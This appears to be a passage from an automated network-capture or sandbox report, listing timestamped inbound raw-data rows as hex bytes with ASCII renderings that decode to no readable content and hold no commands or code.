40 e5 64 95 59 41 b0 d0 a5 9a f6 ec b2 3e 9d 14 
Data Ascii: xXcw.?%_*$qU2;|.QDM-5Y5BzXIL#;*I>*?rW&,.\2)yIY#-eD` o7_>9eE$twfv)1DFQ:-?P7}kT>&K++{C/u7+
,%@dYA>

2022-07-01 09:01:57 UTC 5941 IN Data Raw: e5 cb 94 69 12 45 24 40 87 4b 6e 92 db ba 51 bd fd 67 fe 55 e7 3c c0 3b e3 26 93 1b dd 81 b6 a5 5b f9 f4 cf 9e 
f3 89 70 a3 00 b6 a9 18 10 a3 b2 bb 3b fb 95 0f 14 11 c6 91 20 7f e7 46 d7 53 b8 f1 b7 1f d4 a7 87 3a 82 b9 0e 56 e4 ae 
73 ec 59 f3 62 0b 1b 32 15 37 f2 7e ad 0f 8b 9d 2c 11 88 e6 53 29 17 b1 04 86 1e 9c c9 4a 79 5f 34 cc 92 46 85 8b 18 c8 
b0 1d 6c c6 b4 58 38 bc 6c 36 8c 36 86 27 6b 75 f9 d4 a2 5b b5 01 5b 06 00 e9 bb 9f c4 a4 84 49 1b 31 78 df 87 35 e6 a1 
bf dd 72 22 42 cc a2 ca 2e c5 81 35 1c 3e 6a 72 84 8e d2 f0 d1 56 e7 4a 8e 8f d8 a3 39 97 2e d6 8b 8d 8c d7 2f 6b 8e d3 
30 5e d4 f3 3f 83 fe a5 2c 4f 97 84 61 e3 89 a4 75 ef 86 21 45 fd 05 a0 51 13 26 47 70 9d 9b b4 f2 96 b1 14 a3 98 f3 95 cc 
60 78 0a e5 01 54 69 b7 8a a9 fc 24 f5 74 af 99 e5 
Data Ascii: iE$@KnQgU<;&[p; FS:VsYb27~,S)Jy_4FlX8l66'ku[[I1x5r"B.5>jrVJ9./k0^?,Oau!EQ&Gp`xTi$t

2022-07-01 09:01:57 UTC 5949 IN Data Raw: cb cd 78 27 98 93 00 29 24 70 8d f7 7f c6 9f b8 9f c2 a6 b9 39 dc d7 26 56 5c 5d 38 f1 9b 02 53 d6 4a 4d bd d7 
71 2b 3c c6 af ff 00 c8 93 a7 1c 8e d1 ac fb dd 1f 99 0a 7f 0e ba 27 e9 8c 51 76 46 24 5e 75 cb db ab 23 e5 cf c8 e6 03 8b 
31 c2 2d a4 28 3a f8 24 7d e6 ec 8f f0 bf e8 fb ca 6d 99 39 48 f8 f8 e4 33 b0 0a 9d 6a 49 3d b6 d1 da 44 a5 bc bf 4f 2f 9c 
62 34 cc d2 3b 71 08 63 ab a4 7a cd fa 4b cd e1 8b 13 98 36 56 06 42 00 56 ef 12 91 a4 38 3b e8 ad ec 78 8f db ac f9 7b 
37 97 b8 70 7d df 48 34 aa d2 0e 9a cb 1e 5e ed 3f 89 fe a5 37 30 46 98 06 f2 65 8d 6b 39 5f 2b ca 89 df 26 79 4c a2 4b 
12 87 c4 3e e9 3d da 7e 1d 47 9a e5 63 73 05 38 f9 49 65 43 70 a7 77 7d 7d 06 a5 1c af e6 e5 8f 54 d3 5b b3 6b 28 d4 c3 
d3 c7 6f fc 94 ff 00 0e b3 b9 fc fb 0f 2b 29 f2 
Data Ascii: x')$p9&V\]8SJMq+<'QvF$^u#1-(:$}m9H3jI=DO/b4;qczK6VBV8;x{7p}H4^?70Fek9_+&yLK>=~Gcs8IeCpw}
}T[k(o+)

2022-07-01 09:01:57 UTC 5965 IN Data Raw: 23 24 2d 89 07 64 e8 3b bf 53 b9 e0 a6 0e 4f 30 c6 57 84 1b be 93 66 d8 6d 7f 58 8f 49 65 63 64 07 75 b1 b9 
6f 3d 12 d9 b5 ac f7 39 13 e6 ac b0 66 0d f7 04 c1 1a 6d ec f7 99 eb 0f 3e 3b 07 31 4b ba c8 48 23 e9 15 f5 89 96 08 89 
9e 62 11 94 69 2d f4 1e ed 62 7e 65 e4 f3 c3 27 fb 9b 8b 24 b6 00 1e d5 87 62 49 13 cf ad 6f c3 e7 b1 29 6e 98 b6 ef f1 
7d 4a b1 a3 2f a2 de 15 93 25 4c 9a 7a 85 72 57 51 26 a3 b0 9f 25 13 2c 44 35 91 47 d2 6a 89 a2 5b 5f ae b7 15 94 81 55 
8a d3 af 97 b9 84 7c 41 8f 30 d5 00 60 74 9d ba db fb b5 a7 f9 dd f1 a3 e5 4e 80 ea 25 82 a7 9b de fa 9b 95 f3 de 5f 33 45 
62 a4 ad 8e c3 d7 f5 6b 51 9c d8 fc cf 92 18 f5 33 64 e3 7a cd a7 53 3a df 44 ae df 87 bf 59 f3 c0 17 b8 8d c6 56 ea ad ca 
fe 5f 4e 97 13 ba c8 06 5b ad a2 2f 96 4f fc 95 2f 
Data Ascii: #$-d;SO0WfmXIecduo=9fm>;1KH#bi-b~e'$bIo)n}J/%LzrWQ&%,D5Gj[_U|A0`tN%_3EbkQ3dzS:DYV_N[/O/

2022-07-01 09:01:57 UTC 5981 IN Data Raw: 7b 6f 8a 57 f1 d5 d9 58 0f 14 8c 65 8c cf 91 23 1b 15 f6 42 9a f2 09 e5 c4 8c 62 3a 84 5e f3 db 7a fe 65 29 04 
2e e1 9b 04 6e 5c 77 b7 bf 77 1f fc 95 0c a6 33 b1 d9 18 ef 11 c9 53 e5 dc e6 4c 65 30 11 6d 36 07 c5 52 c9 75 8d 46 2c 
71 14 92 6d aa e7 79 b7 7d e7 8f ed d4 17 91 b6 4e 5f 13 0d 8f 0d 8f ac 62 05 b6 77 15 7b 74 7e 26 14 f1 e4 bc d9 2f a8 
a8 d0 83 c8 80 ea d6 fe 7d 3a 55 7e cf b7 7e a9 6b 0c 52 18 f1 49 23 ce 4e 3a 90 a4 49 b9 c0 35 cf 2a cf 65 7c ac f8 19 
69 9d 1b 1e 01 b0 98 77 ac dd b9 38 6b e1 ef d3 f3 06 2f 28 c7 79 89 72 80 5f b5 a8 9f 04 71 2f 9f dc a2 f3 65 58 e2 6d 5d 
04 11 6f 2f 99 59 2e 53 97 8f 9b 99 c2 9e 42 b1 c4 da e3 42 4e f3 fd 7f ff 00 06 f7 10 d6 2e 72 77 4b 9b 64 12 1e 2c 39 e3 
fe bd 58 26 c3 2f a5 56 73 5f 96 5f 3a 06 ca 9d 
Data Ascii: {oWXe#Bb:^ze).n\ww3SLe0m6RuF,qmy}N_bw{t~&/}:U~~kRI#N:I5*e|iw8k/(yr_q/eXm]o/Y.SBBN.rwKd,9
X&/Vs__:

2022-07-01 09:01:57 UTC 5989 IN Data Raw: 6b 7a f9 aa cf cc 79 4e 5a e3 e6 de 40 ea 09 0b bf b1 bb de af bf 5a 07 40 a4 68 3a 81 00 8f cf 4c e1 cd 87 12 
4e 2c c4 69 5e 9d b6 f4 53 fb 95 4c 50 47 96 9e ae d1 b0 66 b8 23 78 02 75 c6 9c 3f 42 ab c9 30 70 1c a8 8c f0 b6 1c 2f fb 
ca 1b 0f cd 4a 72 31 a3 c8 5d 2e 2f 6a 5b fe de 51 38 91 8b e9 24 10 3a 45 3b c9 c4 97 15 87 10 59 4f 41 e9 53 5c 10 68 
4d 40 58 39 26 ff 00 48 a3 49 8a 8d 0d d4 d0 94 14 27 2b 74 99 52 09 98 ac 68 f7 36 f0 b7 77 f7 e9 e6 77 26 99 64 55 c3 
8c 2a a1 d4 ac 08 0d b7 c5 27 6e 93 28 c7 8e 68 b8 dd 32 16 52 01 da 7f 89 e6 6f d3 83 91 97 8a bc 15 65 32 c4 ba 92 
e7 d5 c8 9d 9f 5d fc 3a 4c e5 b2 0c 9a 5e fb af c1 ed 54 81 61 63 a8 a0 60 c3 e6 38 53 85 ca 7d 50 48 0e ec 84 6a 1f c2 
99 77 78 95 93 e7 32 ca f9 6c 27 ed 0d 97 20 5e dd c7 
Data Ascii: kzyNZ@Z@h:LN,i^SLPGf#xu?B0p/Jr1]./j[Q8$:E;YOAS\hM@X9&HI'+tRh6ww&dU*'n(h2Roe2]:L^Tac`8S}P
Hjwx2l' ^

2022-07-01 09:01:57 UTC 6005 IN Data Raw: 24 7b d5 39 f9 ac 3a 02 dd e2 70 f6 26 db aa bd f8 38 91 71 13 b3 43 62 66 07 23 37 0d 23 d2 36 1d 2e 34 74 
76 5a 3f 57 c1 de aa 32 79 ae 31 9f 71 1e 09 18 e9 90 a8 d2 09 ef bb fb 99 3f 4e 90 61 05 cd 94 e9 e5 f5 3c e9 bf 50 4d 
87 8d eb 55 8f 93 06 4a 0d 0e b2 0f ca 0d 72 57 6c 56 07 b5 17 87 6e ab f7 3f 97 59 ac c8 d6 10 a2 18 8c b3 db 56 a4 3a 
1c 0e d7 ad 65 f5 75 63 72 0c ac dc 44 69 92 39 d1 0e a2 aa d6 76 3e 1f 88 f5 6f 25 47 6f da a9 70 77 a4 5e 2e 97 33 63 
f9 7e ee 80 e6 45 ae bf 23 51 1f 33 aa 73 2c 47 c5 55 2f 28 37 40 bb 4d c0 dd f3 e9 7f 2f 97 98 c1 02 63 64 c5 26 32 a2 
e9 69 0e c3 a0 77 20 fc 4d 1e 7a 51 78 30 72 7c 28 b5 cd c3 45 6b d8 4a 01 91 3b 9c 3d 52 7a dd 51 d2 61 ce f2 31 33 e4 
c7 8f 29 b8 44 de 02 4d e3 7b fb 3e 3e 46 b4 f5 3e ef 8d 
Data Ascii: ${9:p&8qCbf#7#6.4tvZ?W2y1q?Na<PMUJrWlVn?YV:eucrDi9v>o%Gopw^.3c~E#Q3s,GU/(7@M/cd&2iw MzQx
0r|(EkJ;=RzQa13)DM{>>F>

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 6021 IN Data Raw: 57 5e c3 aa 5d 4c e9 af 71 e8 1e 5c b8 71 63 4e 21 27 8a 51 49 d6 07 89 7b fa 9d 56 86 e6 7c 5c 5c 68 8c 8c 
0c f3 6f 93 d2 d1 a2 1f 52 a9 27 73 8d 26 b7 96 b3 11 2e 5d 15 8c 79 b6 ee 5c 5f 79 f4 29 92 44 84 02 ca ac df 9a b4 b9 
a6 7c 95 d2 93 de dd c2 4a 8d 4a 7b fc 3f 6d f7 9e 0a 14 f3 9c cc 2d b9 88 b3 29 3d b4 dd 3f 62 a5 c8 39 dc 3c d6 d0 65 
28 f8 80 3b 5d 4e 07 ea bd 39 6e 57 14 a0 aa a1 37 1d 55 46 47 e9 b7 4e 65 be 3f ab fb b9 28 55 14 0d d1 8d f5 dd a1 70 
f3 b1 b3 4d d1 8a b0 e9 56 16 34 26 6a c9 16 b8 51 b8 7c 42 00 60 74 86 d5 ab da 52 1e 6f 88 b8 39 9c 17 7d 3a 76 ea 
3d 61 bb 1a 92 9a 72 8c 86 cb d7 8f 37 ac 88 5c 6a eb 04 78 35 ef d3 4c 01 14 4a a7 28 c8 ca cd 52 1b 5b 1a 73 c8 71 70 
39 38 47 60 72 39 83 8b e8 51 7d 1f 6b 72 3f e2 c9 44 73 bc 
Data Ascii: W^]Lq\qcN!'QI{V|\\hoR's&.]y\_y)D|JJ{?m-)=?b9<e(;]N9nW7UFGNe?(UpMV4&jQ|B`tRo9}:v=ar7\jx5L
J(R[sqp98G`r9Q}kr?Ds

2022-07-01 09:01:57 UTC 6029 IN Data Raw: 85 82 b4 7c 32 f9 12 59 62 8d 2f d3 ef 25 9e 6f 0a d0 8e de 47 8c 1b 69 c5 cb bd 9f 3b d0 de fb 2b 51 93 8f 8a 
10 4d 92 da 63 51 b0 33 7a bf 4b 4f bd 77 a4 4b cd 97 3f 28 62 e0 91 18 50 15 da 5e 86 29 eb 38 51 62 2f 0d f4 ff 00 87 
50 7c 9c 8c c1 62 ca 67 04 85 2c 3d 54 1e 7c 30 f8 ff 00 1d fd 65 5d ca 3e 5a c1 c3 88 6b 6d 59 1b 18 ca 0e f6 a0 75 7a 
ad 4b b9 ae 89 02 c0 8d 99 2d 21 dd 8c 5b 2c 3d 7f cb 8e 99 98 b6 27 fa 29 b4 7c be 38 8f 1f 28 f1 e6 27 b4 eb d9 bf dc 
43 d8 89 28 e8 a4 d8 16 35 b8 1f 9a d5 56 2b ca 46 f1 0c 36 ed 3f a3 57 ac e4 30 43 d6 6a 81 bb 92 18 dc f2 f9 68 43 5e 
bd 95 9c b8 ca aa 48 53 7d b6 ed 7a 54 08 97 1b 27 98 3a ca 0c 69 c3 50 4b 1b 2c ad 76 f5 8a 94 bf 22 5d 73 9b c7 b7 51 
b9 2d d3 63 ee d7 4d 57 cd 79 86 54 71 29 40 38 ec c3 
Data Ascii: |2Yb/%oGi;+QMcQ3zKOwK?(bP^)8Qb/P|bg,=T|0e]>ZkmYuzK-![,=')|8('C(5V+F6?W0CjhC^HS}zT':iPK,v"]sQ-
cMWyTq)@8

2022-07-01 09:01:57 UTC 6045 IN Data Raw: 18 83 63 e2 4b 66 ba b0 04 9b 3b 76 74 2c 9e cb fe 9d 4d f9 ac 99 92 7c 20 88 07 2d a2 42 00 3a ad dd e2 ad 
53 6e d4 a1 12 22 ba 2a f3 33 74 fe 9d 18 92 c4 8b ef fd 2a 4d 0f 2e 75 95 1e 60 d1 c9 70 48 1e f4 76 9f 86 df fe 11 a3 b7 
17 bc ad 8f 2f cc c0 cb 5e 04 2b ad 64 b9 60 4d 85 fc f6 a0 73 79 74 d1 72 e6 c6 ce 1a 34 ba 32 9b d9 89 d6 89 c6 8b d1 
47 a5 5f 30 72 99 f0 a6 2f a5 9e 29 0e 94 91 6e da ef ec e3 c9 e1 ff 00 f7 3f 8d ef bd 3a 6c 9f fc 96 c6 42 d1 4e 84 e0 39 
1b 0c 64 fe dd 1e 2c 05 c1 c4 f8 fa d4 7f 37 e5 b0 72 49 62 9a 69 16 58 18 92 12 db 43 78 1b ef 52 99 e3 fc cb 82 f2 24 d0 
b0 8e 40 9a 4c 56 50 ac 7b 48 f4 07 fb 5e 0f c3 a1 9b 4a 94 50 58 93 b4 0f 3f 89 4a e5 ce e4 f1 c8 c8 c9 06 8e 90 c4 c8 
cc 4f d5 d1 fd 3d 5d 0e 62 65 20 2c 99 db 17 31 
Data Ascii: cKf;vt,M| -B:Sn"*3t*M.u`pHv/^+d`Msytr42G_0r/)n?:lBN9d,7rIbiXCxR$@LVP{H^JPX?JO=]be ,1

2022-07-01 09:01:57 UTC 6061 IN Data Raw: e4 59 b5 13 b3 b1 f7 71 6f 52 68 4a ca 2f 1e f5 fa 87 97 c3 5a 88 be 59 e5 d8 4d 70 b1 a9 b7 4b 0d 60 7f 12 59 
5a 82 cb 81 61 97 5a ef 46 16 c8 40 d8 17 bb f5 56 aa 45 22 05 b4 79 95 f0 32 53 80 1b 2e 19 85 67 e6 51 c0 39 00 ea 6d 
56 09 a5 83 db bc f2 6e f6 2b 91 63 b4 d2 2c 60 6d 7d 82 fd 14 fc 63 19 d5 65 91 c2 a8 1d 00 0d e0 7c 6e d5 4c 71 c1 1c 
a9 20 60 42 ef 5b a8 a7 b2 95 51 a9 c2 7d 08 1b 6b 99 41 1f 2d 09 36 24 9c b1 c4 6f 95 24 71 31 ec 46 08 d4 3e f7 5e f5 
38 93 93 e0 45 14 79 01 4c b2 13 65 e2 b1 91 5b f0 b8 3e ae 88 e5 f1 60 cd ae 70 37 14 8d 28 41 2f bb db fa 9a aa c9 4e 
4e 4c ba e4 8d 52 15 6d cf 13 2f de f9 8f 55 65 99 c9 0a 4b 26 1f 13 ec f3 f5 37 2b 94 5b 55 b5 be 4a 43 cc 39 39 89 8c d2 
c0 21 2a d6 06 1d 81 4f 99 c3 6d 7f 6e 99 e3 7c b7 
Data Ascii: YqoRhJ/ZYMpK`YZaZF@VE"y2S.gQ9mVn+c,`m}ce|nLq `B[Q}kA-6$o$q1F>^8EyLe[>`p7(A/NNLRm/UeK&7+[
UJC99!*Omn|

2022-07-01 09:01:57 UTC 6068 IN Data Raw: b3 47 da 53 7a d7 f3 0c 69 d2 21 cd f1 8d c3 aa 99 a2 1b aa e9 e3 6d 1e f2 3a c7 a8 b7 55 7d 0b 90 ca cb 85 
03 4a 4d 8a 74 1d 9b be 3d 15 9b df 31 4c 5c 0b eb 83 2f de 47 e4 ab 11 9d 6d e0 6a 86 e6 d9 a6 35 e1 62 23 af 94 ca 3a 
ff 00 95 54 c9 cd b3 50 2a ac 60 5c 6d 52 db 17 eb 2a 50 fc bb 9e 3c 25 e1 8e 26 97 1e 3b 95 71 da 09 7d ef 57 ef e2 c6 
f3 29 9a 4e 73 e2 e2 30 21 0d b4 91 bc 1b ec 6e d5 26 41 19 d6 34 c7 d3 93 7f 5e 9a ca 4e 9e 5a 4f cf b9 84 b2 44 a6 62 
04 40 ec 54 5d ad 27 a7 26 f7 f9 75 9e e5 b8 e9 3e 5d 90 58 f4 b1 e9 37 26 b4 9c cf 96 3b 27 1e 41 72 86 ca a0 dc 01 de 
7f 4e bd f2 56 0a c0 66 c9 97 64 84 e9 0a 7a aa da 4c 91 76 ec 57 68 dd b2 f9 9a 81 af 61 7f 1a 27 9d e0 63 40 89 91 76 
76 16 5b 77 5a e7 bd 56 43 8f 95 96 c4 69 31 28 16 52 76 
Data Ascii: GSzi!m:U}JMt=1L\/Gmj5b#:TP*`\mR*P<%&;q}W)Ns0!n&A4^NZODb@T]'&u>]X7&;'ArNVfdzLvWha'c@vv[wZ
VCi1(Rv

2022-07-01 09:01:57 UTC 6084 IN Data Raw: bd ed b7 a0 d2 3d 22 71 ae 5b eb be d3 6d 95 6c 52 c4 e3 84 db 07 42 91 4a 96 35 71 eb 2e d3 42 54 37 c9 
47 f3 1c d4 d0 51 2f 72 48 d5 d5 bb e0 af 52 c6 6e 1f ab bd c0 d9 5e a1 e8 8c 2d e1 b7 2a 0f 1b 57 ff d7 0b 9b a3 49 22 
99 34 82 35 6c 52 2d d3 ab 5e e6 ed 04 c0 05 04 6c db 63 b7 a4 f8 eb 53 f3 24 13 4e ea b1 d8 c5 a7 50 00 5b 43 01 bf c4 
a4 90 4b 12 e3 b8 16 e3 93 a2 c4 5e ca 7b 6d e6 68 df af 31 0c b9 46 a4 0f 9a bc b4 eb dc eb 4b e0 94 e3 39 65 01 d0 8d 
aa 6e 14 db b3 f6 3b 94 eb 1a 66 c8 37 8c a9 4d 8c a1 bf 2e 9d 0f e8 7b da 56 62 3b 10 0b 93 60 07 94 d6 97 96 72 91 1b 
35 ee 16 15 d2 e4 8e d4 9b 8d c3 81 ff 00 8b ae a7 b9 75 02 e7 8a 89 10 93 71 41 ce 27 7b 08 3b 7b 6f a7 74 11 e1 5f 43 
b9 ae 9a a4 26 2c 60 72 a4 57 7b 74 1b 1f a9 f5 2a 31 20 78 
Data Ascii: ="q[mlRBJ5q.BT7GQ/rHRn^-*WI"45lR-^lcS$NP[CK^{mh1FK9en;f7M.{Vb;`r5uqA'{;{ot_C&,`rW{t*1 x

2022-07-01 09:01:57 UTC 6100 IN Data Raw: b7 ec 7f 2e a5 0a 34 b6 cb 04 f9 79 e4 f3 d4 5c 81 60 69 bc 98 b3 e7 48 d2 63 f0 95 de 2d 25 8d f5 26 af 68 b1 
fa 7f 5e a7 8f c9 e0 c1 ca 84 b0 3a a1 b9 03 61 04 5b b5 ab d5 f6 7d a5 0a c8 ef 02 ca 0a aa ac 69 ac 82 77 d9 75 2f 6b 
ea 54 4f 30 c8 68 9e fb f0 35 a3 40 5b 79 47 7f 87 e3 e2 50 80 fb 14 8c 78 31 a2 2d 61 f2 53 9c fc 31 cd b1 8c 65 48 56 2a
43 28 df 2a 3d 3d da ca e7 72 fe 67 c8 02 08 98 cb 05 c9 d3 6d 4b e8 4c 95 a6 e5 13 e8 44 c6 88 92 b1 0d a1 ba ff 00 0a 
3d 3e ee 3a 96 89 b9 de 3a 64 c3 29 40 2e 40 16 17 f3 1f d1 a5 45 2b 40 4a 9c 4c 19 6f 09 3d 6e 0a 13 be 35 b9 ac 47 33 
f9 8d b8 a9 f0 c5 d4 05 da a6 ea ca fd 97 df 4f 32 a7 ca f9 c6 53 b0 8b 0c 91 29 e8 53 b5 4f d9 fd b4 a6 5f 3b 43 88 56 29 
80 1f 1a 4d a4 b1 ee 8e f4 c9 e3 a0 3e 5f e5 79 
Data Ascii: .4y\`iHc-%&h^:a[}iwu/kTO0h5@[yGPx1-aS1eHV*C(*==rgmKLD=>::d)@.@E+@JLo=n5G3O2S)SO_;CV)M>_y

2022-07-01 09:01:57 UTC 6108 IN Data Raw: e4 9f cd a9 e1 76 5c a5 77 a2 65 62 8a 57 70 ae ed b2 aa 66 9b 99 61 46 f3 ca e5 b1 35 9b 3a 32 ae eb 37 aa 
d1 df f3 29 07 cc 79 19 6c 57 07 20 f1 76 89 37 1b 59 fb b8 d6 49 7c 68 9f 87 5b de 7b 0e 2c 38 12 19 d7 d5 22 1b 20 d8 
0b 36 e4 6a bf 88 ce fe ae b2 7c 9b 94 67 be 37 c5 b4 23 88 c8 c1 4e a0 8d e6 ee e9 ad 99 5e 48 a2 58 e2 5b b3 64 a1 
15 f1 c3 2e 3f ee 63 fb cf b2 a0 10 00 dd 4f 37 d5 7f dd ff 00 c7 56 e6 41 14 18 69 9f 8e 8b 8f 8d ba ad 1b 13 ac 9d 4a 9f 
11 0a 69 f6 89 bf c4 fb f8 e8 bc 34 c3 e7 0a 26 85 ee db 6e 45 c7 41 ed 2a 3f bb a9 e7 63 65 67 61 88 f2 a3 0a 8b 1a e9 
67 0b a8 bb 0d 13 7a bf 77 b9 ff 00 3d 67 31 4c 7c 9d a6 6c 76 e2 44 36 29 be f2 9f 45 77 3d 64 9f 89 59 7f 8a 76 d1 32 
2b 45 ee fb 9b 02 ca bc cb f0 a9 f0 97 08 32 25 b7 77 b2 
Data Ascii: v\webWpfaF5:27)ylW v7YI|h[{,8" 6j|g7#N^HX[d.?cO7VAiJi4&nEA*?cegagzw=g1L|lvD6)Ew=dYv2+E2%w

2022-07-01 09:01:57 UTC 6124 IN Data Raw: af 20 1f 11 94 c5 de 64 da 07 65 7f 9b e2 a7 bc b3 97 e3 63 48 40 70 8c db c5 49 e9 66 f0 c5 dd a7 77 92 0e 
f8 94 89 91 a4 67 dc 6c 70 cd 61 4f 3e 1f ee 7d 9d 02 6e 6a de 02 80 c8 e5 eb 8c eb 2c 32 9d 08 c0 b0 27 b0 bf 57 f6 e9 
b6 76 22 64 b4 72 40 59 89 5d cd a5 a3 d4 c5 75 3c 9a 7d 62 7f a7 4a 39 aa 0e 5d cc 1c de f8 f2 c4 aa e5 8e a4 13 12 ff 
00 af 15 73 95 e4 4a 21 3c 09 83 86 6b 16 e9 28 9e 08 e3 ec 51 76 e3 f9 36 68 7b a1 d5 8e 44 5c d8 65 e5 ea 72 54 38 
25 83 ae d6 dd a4 bf 3d eb 8b 2a 18 72 58 e4 02 8c 52 34 1b a8 fb b1 e8 8f 87 eb 1f eb d2 bc 0f 97 9a 28 78 d2 c9 1c 31 
90 75 06 bf 15 3b ba 25 4d cf b1 5a 3e 60 89 fe ee 85 f5 44 b8 f8 f7 dc 03 5b 5c f8 97 5b ef a7 7e 90 73 7c ae 51 9c ca d1 
b1 59 09 37 62 59 98 fd df 17 5b 55 99 e6 2c c2 28 fa ab 
Data Ascii:  decH@pIfwglpaO>}nj,2'Wv"dr@Y]u<}bJ9]sJ!<k(Qv6h{D\erT8%=*rXR4(x1u;%MZ>`D[\[~s|QY7bY[U,(

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 6140 IN Data Raw: e1 78 fc fa ae f3 08 98 23 d9 95 93 3c f8 7f c4 4f 3d 35 5c 3e cb 83 e8 7e 5a 4f 85 1c ac 40 9a c4 1d b7 04 6c 
f3 5e ac cc 8a 37 7b 5b 7b 49 0a 0e c5 3e 87 9c 94 3c 41 d6 50 91 a3 b4 c0 80 14 0e 93 7e c7 a5 4f 39 7f 2d 39 73 99 79 
a4 12 26 3c 4b d7 b9 bc e7 44 5e 7f f8 74 2c 48 6c bc 2d c9 fd 4a b0 08 c6 d4 8a 28 62 12 a6 c0 19 88 b8 e9 d2 2f bd 4c 
1b e5 ec dc 99 75 42 92 49 ab 51 01 57 4e c5 fc 69 ab 7b cb 79 56 90 15 84 31 98 f6 46 02 0d 40 7d e3 3f b4 e2 3f de 51 
3c e2 5f 82 58 df 44 8d 3d 88 dd ec bd ff 00 6e ab c5 de 19 a4 64 42 13 a6 99 65 2f c2 a9 d3 65 63 39 1f 29 81 01 13 a3 
17 d4 10 a8 3a 63 5e f3 34 f3 27 ae 92 6d 54 f7 0f 93 e2 f2 c8 25 c7 c5 2e 1a 56 0c 6e c4 ae ce f6 f5 1f c9 da 4c a8 a3 3c 
31 1c 8e db 41 1f 6e 8c c9 82 1c 86 68 d8 28 64 3a 
Data Ascii: x#<O=5\>~ZO@l^7{[{I><AP~O9-9sy&<KD^t,Hl-J(b/LuBIQWNi{yV1F@}??Q<_XD=ndBe/ec9):c^4'mT%.VnL
<1Anh(d:

2022-07-01 09:01:57 UTC 6148 IN Data Raw: 7f ea f6 38 94 24 fc a3 1b 0b 95 64 cd 91 27 1a 63 d9 6d 46 db 37 20 dd f1 c7 5a 91 7f 2e d8 e2 77 65 68 fa 91 
63 96 32 fe c5 28 97 06 c3 67 9a f4 0f 31 e6 38 18 41 86 1c b7 91 94 3a 91 de b9 de 83 29 7b 1a fc 15 35 e6 53 e7 e2 3f 
08 10 8e da 5a fb f6 36 ec 69 f7 71 7e 85 64 e4 c2 94 32 4a 51 82 c9 72 a6 c7 4b 69 f6 9a 5b cd a6 1c 86 77 c6 ce 01 0b 
5e e4 69 03 56 df 45 b7 19 6b 4e 4e d1 51 2e 0f 51 d7 de 64 f4 b0 c7 d1 b6 b4 1c 98 c9 8f 91 14 01 10 85 b9 27 a4 7f 3b 
d1 ad 5c 79 8a d2 97 66 0c 45 94 2a 0d 2b a4 7a cd 6c 8d df ac d3 e5 2c 79 2a d1 44 ca ec 41 90 b2 e8 ba 77 b8 7e 9d 
1a 66 c9 32 ba c0 81 86 9b 8b b6 90 a1 75 6e 46 9e 65 67 4a ce ea 57 45 59 06 4c 3c db d4 6a 00 37 bb 13 e1 43 f3 9c 
b8 20 ca 96 09 d7 5a 4c 52 48 d6 ec 19 cc 83 44 9c 04 8f cf 
Data Ascii: 8$d'cmF7 Z.wehc2(g18A:){5S?Z6iq~d2JQrKi[w^iVEkNNQ.Qd';\yfE*+zl,y*DAw~f2unFegJWEYL<j7C ZLRHD

2022-07-01 09:01:57 UTC 6164 IN Data Raw: 72 ac 7d ca c9 29 27 00 cd b9 16 5e dd 11 62 c3 96 be 7d 17 29 e6 d9 81 63 8e 09 02 9d 8a 4a 90 bd 3f d3 b7 
4f b9 3f c9 1c c0 b3 ae 54 81 63 03 6a f6 98 f9 f1 d6 b1 b1 32 94 d9 4f 5e 95 b5 c7 ea d1 50 f2 99 24 4f 5d 2a 02 46 80 08 
2c c3 eb f1 12 8f 3e ea 4b c7 d2 c3 d8 e5 f9 f2 d4 70 ea c7 f4 de b3 5f fe 29 60 e3 38 96 55 95 c2 8d a1 9b 73 fc af d4 d7 
5a 3e 53 ca b9 4b 3a f0 f1 e2 1a 56 e6 eb 7d a7 f8 9b 94 62 62 c7 86 b6 70 ec c4 80 74 ef 2f a7 fb f4 bd f0 c3 e4 32 e3 48 
c5 62 6d 41 10 ed de f1 6e f7 7d 67 0e 8a 18 67 ed ed 34 99 4f bb 8b 41 ce 95 d8 86 bd 89 03 cd cb 43 0c 19 71 e3 2b 8e 
1a 26 62 f6 58 ed ba b7 d3 eb 27 93 47 aa 4a 2b 1f 2d b0 dd 30 b3 a5 8f e2 1d 75 a1 56 d8 47 d6 d0 d1 d4 84 f0 3e 97 75 
66 24 95 64 2d a8 33 7b a8 bf 89 27 6e 97 66 72 
Data Ascii: r})'^b})cJ?O?Tcj2O^P$O]*F,>Kp_)`8UsZ>SK:V}bbpt/2HbmAn}gg4OACq+&bX'GJ+-0uVG>uf$d-3{'nfr

2022-07-01 09:01:57 UTC 6180 IN Data Raw: 18 86 00 77 fd 3f e9 c3 a4 fc cb 9f 43 3f 2d d3 14 2b 1b bb 58 1d 6c 64 fe 25 58 ec a1 9b d2 96 95 71 de cf 18 
b1 a5 cd 28 62 14 82 a6 fb 2b 5b c9 22 5e 59 cb 51 f2 36 4d 21 bb 93 d2 5c f7 3f 97 4c 25 c8 29 8b f1 90 c2 f3 b2 02 0c 
6b b3 55 fb db ff 00 77 5f 3c e5 5f 32 73 0e 5a ea d9 21 e5 88 0d 8a c0 ad bc 2d ad 96 9d e7 fc e7 97 cc 0c 70 72 95 bc 
ac 80 b9 b5 d9 4f 7e 18 97 d9 fa 72 d3 bb 4e d0 43 24 92 4c 51 f2 df cb 14 92 2f 53 07 fb 3a 60 6b a8 1a ab 53 cf 80 cb 
95 91 cb c5 c1 50 0b c6 a0 ab 6d ee a3 bf 83 f9 75 c9 39 5e 33 e4 09 9d 04 ac 80 85 57 27 4a ea f3 28 51 ce 19 02 47 9e 
8e 8c f6 bb 5a cb f6 e9 07 3f cf cd d4 f0 62 b0 58 6e 77 d3 74 b8 3d d9 65 fd ca 4c 73 5d b0 84 7f 2e 0e d6 7f 7b 14 9e bf 
b7 4c ca ca 6e 49 3e 5a 7f cd da 09 b2 23 18 e9 10 
Data Ascii: w?C?-+Xld%Xq(b+["^YQ6M!\?L%)kUw_<_2sZ!-prO~rNC$LQ/S:`kSPmu9^3W'J(QGZ?bXnwt=eLs].{LnI>Z#

2022-07-01 09:01:57 UTC 6188 IN Data Raw: 5c 69 50 3d 0e fb d6 a6 4c e8 00 e1 07 0c 40 b9 6b 1d 3b 7c f8 fd 5d 70 e0 ae 66 9e 32 21 d1 b5 76 ea 22 a2 
29 8c 7a be 5f 25 11 5c b6 56 5b 1e 29 20 d0 03 09 01 dd b8 36 e1 ba fd ec 49 4c db 15 4c 3a e7 41 24 44 92 09 f5 6c 9f 
